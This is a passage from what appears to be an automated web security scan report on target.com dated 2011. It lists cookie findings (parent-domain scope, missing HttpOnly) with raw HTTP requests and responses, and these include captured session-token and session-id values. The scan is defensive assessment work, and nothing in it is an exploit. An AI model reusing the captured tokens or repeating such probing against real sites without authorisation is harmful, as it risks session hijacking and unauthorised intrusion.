<li><a href="/redirect?ie=UTF8&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Fref%3Dnav_footer_photo%26title%3Dphoto_center" title="Photo">Photo</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Fref%3Dnav_footer_portrait%26title%3Dportrait_studio" title="Portrait Studio">Portrait Studio</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=D62F194C2502656F9210694289070A08EB44BFD0&location=http%3A%2F%2Ftarget.com%2Ftarget_group%2Fstores_services%2Foptical.jhtml%3Fref%3Dnav_footer_optical" title="Optical">Optical</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fhealth%2Fpage.jsp%3Fref%3Dnav_footer_pharmacy%26contentId%3DPRD03-004033" title="Pharmacy">Pharmacy</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Fref%3Dnav_footer_mobile%26title%3Dmobile_landing" title="Mobile">Mobile</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fcompany%2Fpage.jsp%3Fref%3Dnav_footer_about%26contentId%3DWCMP04-032391" rel="nofollow">About Target</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fcompany%2Fpage.jsp%3Fref%3Dnav_footer_careers%26contentId%3DWCMP04-030796" rel="nofollow">Careers</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fcompany%2Fpage.jsp%3Fref%3Dnav_footer_community%26contentId%3DWCMP04-031700" rel="nofollow">Community</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=EF44EA2ED3C0F97CE9AD4B23979C08B540C5061C&location=http%3A%2F%2Fpressroom.target.com%2Fpr%2Fnews%2Fnews.aspx%3Fref%3Dnav_footer_news" title="Pressroom">Pressroom</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=37F4B25D99F5B2724230FE603FF785C4A1CBCA27&location=http%3A%2F%2Finvestors.target.com%2Fphoenix.zhtml%3Fref%3Dnav_footer_investors%26c%3D65828%26p%3Dirol-irhome" rel="nofollow">Investors</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fcompany%2Fpage.jsp%3Fref%3Dnav_footer_diversity%26contentId%3DWCMP04-031762" rel="nofollow">Diversity</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fcorporate%2Fpage.jsp%3Fref%3Dnav_footer_TCOE%26contentId%3DPRD03-001825" rel="nofollow">Take Charge of Education</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Fref%3Dnav_footer_teammember%26title%3Dteam_services" rel="nofollow">Team Member Services</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=FC345A3C795B0D27CA446D457B9F0080A2E8065F&location=http%3A%2F%2Fsecure.nfb.org%2Fnfbnva%2Fpublic%2Fverify.aspx%3FNVACert%3D140%26companyName%3DTarget" rel="nofollow">NFB-NVA Gold Certified</a>
...[SNIP]...
<br/>

<a href="/redirect?ie=UTF8&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dprivacy_policy" title="Privacy and Security">Privacy + Security</a> |
<a href="/redirect?ie=UTF8&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dprivacy_policy%2523collectedonline" title="Cookies and Targeted Advertising">Cookies + Targeted Advertising</a> |
<a href="/redirect?ie=UTF8&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dterms_conditions" title="Terms and Conditions">Terms + Conditions</a><br/>
<a href="/redirect?ie=UTF8&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dprivacy_policy_ca" title="California Privacy Rights">California Privacy Rights</a>
...[SNIP]...
<div class="mobileSiteLabel">
<a href="/redirect?ie=UTF8&location=http%3A%2F%2Fm.target.com%2F&token=B61876DECB7F89C32F6EDC088CE1E034ACF3FCD8" title="View Mobile Version">View Mobile Version</a>
...[SNIP]...

3. Cookie scoped to parent domain  previous  next
There are 5 instances of this issue:

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.


3.1. http://www.target.com/  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.target.com
Path:   /

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.target.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 12:28:57 GMT
Server: Server
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding,User-Agent
Set-Cookie: session-id=182-7354573-5604257; Domain=.target.com; Expires=Sat, 27-Aug-2011 12:28:58 GMT; Path=/
Set-Cookie: session-id-time=1314448138l; Domain=.target.com; Expires=Sat, 27-Aug-2011 12:28:58 GMT; Path=/
Set-Cookie: ubid-acbta=181-9529033-3089118; Domain=.target.com; Expires=Fri, 15-Aug-2031 12:28:58 GMT; Path=/
Content-Length: 80163


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">


<head
...[SNIP]...

3.2. http://www.target.com/C9-Champion-Fitted-Pants-Extended/dp/B003R8DNI8/ref=sr_1_2/179-5433158-9247368  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.target.com
Path:   /C9-Champion-Fitted-Pants-Extended/dp/B003R8DNI8/ref=sr_1_2/179-5433158-9247368

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /C9-Champion-Fitted-Pants-Extended/dp/B003R8DNI8/ref=sr_1_2/179-5433158-9247368?ie=UTF8&searchView=grid5&keywords=xss&fromGsearch=true&sr=1-2&qid=1313843465&rh=&searchRank=target104545&id=C9%20Champion%20Fitted%20Pants%20Extended&node=1038576%7C1287991011&searchSize=30&searchPage=1&searchNodeID=1038576%7C1287991011&searchBinNameList=subjectbin%2Cprice%2Ctarget_com_primary_color-bin%2Ctarget_com_size-bin%2Ctarget_com_brand-bin&frombrowse=0 HTTP/1.1
Host: www.target.com
Proxy-Connection: keep-alive
Referer: http://www.target.com/s?keywords=xss&searchNodeID=1038576%7C1287991011&ref=sr_bx_1_1&x=0&y=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: v1st=9C2B51AA83FFEFBB; session-id=179-5433158-9247368; session-id-time=1314448265l; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221313843351753_535103%22%2C%22pv%22%3A2%2C%22to%22%3A4.8%2C%22c%22%3A%22http%3A%2F%2Fwww.target.com%2Fs%22%2C%22lc%22%3A%7B%22d2%22%3A%7B%22v%22%3A2%2C%22s%22%3Afalse%7D%7D%2C%22cd%22%3A2%2C%22sd%22%3A2%2C%22cp%22%3A%7B%22visualScienceId%22%3A%229C2B51AA83FFEFBB%22%7D%2C%22f%22%3A1313843469027%7D

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 12:31:22 GMT
Server: Server
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding,User-Agent
Set-Cookie: session-id=185-5393115-9309767; Domain=.target.com; Expires=Sat, 27-Aug-2011 12:31:22 GMT; Path=/
Set-Cookie: session-id-time=1314448282l; Domain=.target.com; Expires=Sat, 27-Aug-2011 12:31:22 GMT; Path=/
Set-Cookie: ubid-acbta=181-9529033-3089118; Domain=.target.com; Expires=Fri, 15-Aug-2031 12:31:22 GMT; Path=/
Set-Cookie: session-token="pMs0GUQ5DsYUhcm8YJnE6PfYQIDZBgn6pJLfbmnhlVEFNsBTZciAWzWiWzPZFPhG41oXgjN1BeKwL2+klthwpdOYiG9lyv0cHTNgWYzYqu+XuzfXlFvExRuaPbBnlMorDjb0tu1fcTOc7IOoOWwOOxgKfiRuBxqV2Cy5oWr299erf7VXkaFjjA=="; Version=1; Domain=.target.com; Max-Age=600; Expires=Sat, 20-Aug-2011 12:41:22 GMT; Path=/
Content-Length: 143787


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>

...[SNIP]...

3.3. http://www.target.com/s  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.target.com
Path:   /s

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /s?keywords=xss&searchNodeID=1038576%7C1287991011&ref=sr_bx_1_1&x=0&y=0 HTTP/1.1
Host: www.target.com
Proxy-Connection: keep-alive
Referer: http://www.target.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: session-id-time=1314428400l; session-id=180-3140619-9835644; v1st=9C2B51AA83FFEFBB; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221313843351753_535103%22%2C%22pv%22%3A1%2C%22to%22%3A3%2C%22c%22%3A%22http%3A%2F%2Fwww.target.com%2F%22%2C%22lc%22%3A%7B%22d2%22%3A%7B%22v%22%3A1%2C%22s%22%3Afalse%7D%7D%2C%22cd%22%3A2%2C%22sd%22%3A2%2C%22cp%22%3A%7B%22visualScienceId%22%3A%229C2B51AA83FFEFBB%22%7D%7D

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 12:31:06 GMT
Server: Server
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding,User-Agent
Set-Cookie: session-id=179-5433158-9247368; Domain=.target.com; Expires=Sat, 27-Aug-2011 12:31:06 GMT; Path=/
Set-Cookie: session-id-time=1314448266l; Domain=.target.com; Expires=Sat, 27-Aug-2011 12:31:06 GMT; Path=/
Set-Cookie: ubid-acbta=181-9529033-3089118; Domain=.target.com; Expires=Fri, 15-Aug-2031 12:31:06 GMT; Path=/
Set-Cookie: session-token="UwJuk533+AV4O27KH2zyhuzdMH754Z7Ohf1wDR+schnx9402wInONDe2nfKuKFH5OYeqWE0YaVvdxFtUVMUmKGJsygetvrBjonyagcQypxTXmhVRgbe/NnsmBuoOlAKEpZ2868OquepKu1WEmtHNfEy3ifQcAZJz4oMA3aT9uHOQ5rT0AMaqSw=="; Version=1; Domain=.target.com; Max-Age=600; Expires=Sat, 20-Aug-2011 12:41:06 GMT; Path=/
Content-Length: 114757


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>

...[SNIP]...

3.4. http://www.target.com/gp/css/dynamic-stylesheets.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.target.com
Path:   /gp/css/dynamic-stylesheets.html

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /gp/css/dynamic-stylesheets.html?cssFiles=mol-background-image.css,quickInfo-trigger-image.css&v=111720 HTTP/1.1
Host: www.target.com
Proxy-Connection: keep-alive
Referer: http://www.target.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: session-id=182-7354573-5604257; session-id-time=1314448137l

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 12:28:59 GMT
Server: Server
x-amz-id-1: 11M33CDEVHA3MDS6N8X1
p3p: policyref="http://www.target.com/w3c/p3p.xml",CP="NON DSP CURa ADMa DEVa TAIa PSAo PSDo IVAo IVDo CONo TELo OUR DELa SAMo PUBi OTRo IND PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
cache-control: max-age=86400
x-amz-id-2: SHM9/+LwY0mm/cL++/uarnz+nPJgWiCtnsR1Xf1etiw=
Vary: Accept-Encoding,User-Agent
Cneonction: close
Content-Type: text/css; charset=UTF-8
Set-cookie: ubid-acbta=181-9529033-3089118; path=/; domain=.target.com; expires=Tue Jan 01 08:00:01 2036 GMT
Content-Length: 36808


hr.emptinessIsForm{ }

/* begin: mol-background-image.css */
#addNotePanel {
background:transparent url(http://g-ecx.images-amazon.com/images/G/16/MOL/backgrounds/popup_med423_bkrd._V1564268
...[SNIP]...

3.5. http://www.target.com/gp/myaccount/homepage.html/ref=nav_ma/185-5393115-9309767  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.target.com
Path:   /gp/myaccount/homepage.html/ref=nav_ma/185-5393115-9309767

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /gp/myaccount/homepage.html/ref=nav_ma/185-5393115-9309767 HTTP/1.1
Host: www.target.com
Proxy-Connection: keep-alive
Referer: http://www.target.com/C9-Champion-Fitted-Pants-Extended/dp/B003R8DNI8/ref=sr_1_2/179-5433158-9247368?ie=UTF8&searchView=grid5&keywords=xss&fromGsearch=true&sr=1-2&qid=1313843465&rh=&searchRank=target104545&id=C9%20Champion%20Fitted%20Pants%20Extended&node=1038576%7C1287991011&searchSize=30&searchPage=1&searchNodeID=1038576%7C1287991011&searchBinNameList=subjectbin%2Cprice%2Ctarget_com_primary_color-bin%2Ctarget_com_size-bin%2Ctarget_com_brand-bin&frombrowse=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: v1st=9C2B51AA83FFEFBB; session-id=185-5393115-9309767; session-id-time=1314448281l; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221313843351753_535103%22%2C%22pv%22%3A2%2C%22to%22%3A4.8%2C%22c%22%3A%22http%3A%2F%2Fwww.target.com%2Fs%22%2C%22lc%22%3A%7B%22d2%22%3A%7B%22v%22%3A2%2C%22s%22%3Afalse%7D%7D%2C%22cd%22%3A2%2C%22sd%22%3A2%2C%22cp%22%3A%7B%22visualScienceId%22%3A%229C2B51AA83FFEFBB%22%7D%2C%22f%22%3A1313843485207%7D; fsr.a=1313843498085

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 12:31:40 GMT
Server: Server
x-amz-id-1: 1YVB6P9ATK2ZRCR8W5AE
p3p: policyref="http://www.target.com/w3c/p3p.xml",CP="NON DSP CURa ADMa DEVa TAIa PSAo PSDo IVAo IVDo CONo TELo OUR DELa SAMo PUBi OTRo IND PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
x-amz-id-2: UPpBEapx4Lzp16jlRd1osHg7L0/nkQ6XZ1sc96Mn4NEGxfMs+CIa9g==
Vary: Accept-Encoding,User-Agent
Cneonction: close
Content-Type: text/html; charset=UTF-8
Set-cookie: ubid-acbta=181-9529033-3089118; path=/; domain=.target.com; expires=Tue Jan 01 08:00:01 2036 GMT
Content-Length: 70918


<html lang="en-US">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="language"
...[SNIP]...

4. Cookie without HttpOnly flag set  previous  next
There are 5 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



4.1. http://www.target.com/  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.target.com
Path:   /

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.target.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 12:28:57 GMT
Server: Server
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding,User-Agent
Set-Cookie: session-id=182-7354573-5604257; Domain=.target.com; Expires=Sat, 27-Aug-2011 12:28:58 GMT; Path=/
Set-Cookie: session-id-time=1314448138l; Domain=.target.com; Expires=Sat, 27-Aug-2011 12:28:58 GMT; Path=/
Set-Cookie: ubid-acbta=181-9529033-3089118; Domain=.target.com; Expires=Fri, 15-Aug-2031 12:28:58 GMT; Path=/
Content-Length: 80163


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">


<head
...[SNIP]...

4.2. http://www.target.com/C9-Champion-Fitted-Pants-Extended/dp/B003R8DNI8/ref=sr_1_2/179-5433158-9247368  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.target.com
Path:   /C9-Champion-Fitted-Pants-Extended/dp/B003R8DNI8/ref=sr_1_2/179-5433158-9247368

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /C9-Champion-Fitted-Pants-Extended/dp/B003R8DNI8/ref=sr_1_2/179-5433158-9247368?ie=UTF8&searchView=grid5&keywords=xss&fromGsearch=true&sr=1-2&qid=1313843465&rh=&searchRank=target104545&id=C9%20Champion%20Fitted%20Pants%20Extended&node=1038576%7C1287991011&searchSize=30&searchPage=1&searchNodeID=1038576%7C1287991011&searchBinNameList=subjectbin%2Cprice%2Ctarget_com_primary_color-bin%2Ctarget_com_size-bin%2Ctarget_com_brand-bin&frombrowse=0 HTTP/1.1
Host: www.target.com
Proxy-Connection: keep-alive
Referer: http://www.target.com/s?keywords=xss&searchNodeID=1038576%7C1287991011&ref=sr_bx_1_1&x=0&y=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: v1st=9C2B51AA83FFEFBB; session-id=179-5433158-9247368; session-id-time=1314448265l; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221313843351753_535103%22%2C%22pv%22%3A2%2C%22to%22%3A4.8%2C%22c%22%3A%22http%3A%2F%2Fwww.target.com%2Fs%22%2C%22lc%22%3A%7B%22d2%22%3A%7B%22v%22%3A2%2C%22s%22%3Afalse%7D%7D%2C%22cd%22%3A2%2C%22sd%22%3A2%2C%22cp%22%3A%7B%22visualScienceId%22%3A%229C2B51AA83FFEFBB%22%7D%2C%22f%22%3A1313843469027%7D

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 12:31:22 GMT
Server: Server
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding,User-Agent
Set-Cookie: session-id=185-5393115-9309767; Domain=.target.com; Expires=Sat, 27-Aug-2011 12:31:22 GMT; Path=/
Set-Cookie: session-id-time=1314448282l; Domain=.target.com; Expires=Sat, 27-Aug-2011 12:31:22 GMT; Path=/
Set-Cookie: ubid-acbta=181-9529033-3089118; Domain=.target.com; Expires=Fri, 15-Aug-2031 12:31:22 GMT; Path=/
Set-Cookie: session-token="pMs0GUQ5DsYUhcm8YJnE6PfYQIDZBgn6pJLfbmnhlVEFNsBTZciAWzWiWzPZFPhG41oXgjN1BeKwL2+klthwpdOYiG9lyv0cHTNgWYzYqu+XuzfXlFvExRuaPbBnlMorDjb0tu1fcTOc7IOoOWwOOxgKfiRuBxqV2Cy5oWr299erf7VXkaFjjA=="; Version=1; Domain=.target.com; Max-Age=600; Expires=Sat, 20-Aug-2011 12:41:22 GMT; Path=/
Content-Length: 143787


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>

...[SNIP]...

4.3. http://www.target.com/s  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.target.com
Path:   /s

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /s?keywords=xss&searchNodeID=1038576%7C1287991011&ref=sr_bx_1_1&x=0&y=0 HTTP/1.1
Host: www.target.com
Proxy-Connection: keep-alive
Referer: http://www.target.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: session-id-time=1314428400l; session-id=180-3140619-9835644; v1st=9C2B51AA83FFEFBB; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221313843351753_535103%22%2C%22pv%22%3A1%2C%22to%22%3A3%2C%22c%22%3A%22http%3A%2F%2Fwww.target.com%2F%22%2C%22lc%22%3A%7B%22d2%22%3A%7B%22v%22%3A1%2C%22s%22%3Afalse%7D%7D%2C%22cd%22%3A2%2C%22sd%22%3A2%2C%22cp%22%3A%7B%22visualScienceId%22%3A%229C2B51AA83FFEFBB%22%7D%7D

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 12:31:06 GMT
Server: Server
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding,User-Agent
Set-Cookie: session-id=179-5433158-9247368; Domain=.target.com; Expires=Sat, 27-Aug-2011 12:31:06 GMT; Path=/
Set-Cookie: session-id-time=1314448266l; Domain=.target.com; Expires=Sat, 27-Aug-2011 12:31:06 GMT; Path=/
Set-Cookie: ubid-acbta=181-9529033-3089118; Domain=.target.com; Expires=Fri, 15-Aug-2031 12:31:06 GMT; Path=/
Set-Cookie: session-token="UwJuk533+AV4O27KH2zyhuzdMH754Z7Ohf1wDR+schnx9402wInONDe2nfKuKFH5OYeqWE0YaVvdxFtUVMUmKGJsygetvrBjonyagcQypxTXmhVRgbe/NnsmBuoOlAKEpZ2868OquepKu1WEmtHNfEy3ifQcAZJz4oMA3aT9uHOQ5rT0AMaqSw=="; Version=1; Domain=.target.com; Max-Age=600; Expires=Sat, 20-Aug-2011 12:41:06 GMT; Path=/
Content-Length: 114757


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>

...[SNIP]...

4.4. http://www.target.com/gp/css/dynamic-stylesheets.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.target.com
Path:   /gp/css/dynamic-stylesheets.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /gp/css/dynamic-stylesheets.html?cssFiles=mol-background-image.css,quickInfo-trigger-image.css&v=111720 HTTP/1.1
Host: www.target.com
Proxy-Connection: keep-alive
Referer: http://www.target.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: session-id=182-7354573-5604257; session-id-time=1314448137l

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 12:28:59 GMT
Server: Server
x-amz-id-1: 11M33CDEVHA3MDS6N8X1
p3p: policyref="http://www.target.com/w3c/p3p.xml",CP="NON DSP CURa ADMa DEVa TAIa PSAo PSDo IVAo IVDo CONo TELo OUR DELa SAMo PUBi OTRo IND PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
cache-control: max-age=86400
x-amz-id-2: SHM9/+LwY0mm/cL++/uarnz+nPJgWiCtnsR1Xf1etiw=
Vary: Accept-Encoding,User-Agent
Cneonction: close
Content-Type: text/css; charset=UTF-8
Set-cookie: ubid-acbta=181-9529033-3089118; path=/; domain=.target.com; expires=Tue Jan 01 08:00:01 2036 GMT
Content-Length: 36808


hr.emptinessIsForm{ }

/* begin: mol-background-image.css */
#addNotePanel {
background:transparent url(http://g-ecx.images-amazon.com/images/G/16/MOL/backgrounds/popup_med423_bkrd._V1564268
...[SNIP]...

4.5. http://www.target.com/gp/myaccount/homepage.html/ref=nav_ma/185-5393115-9309767  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.target.com
Path:   /gp/myaccount/homepage.html/ref=nav_ma/185-5393115-9309767

Issue detail

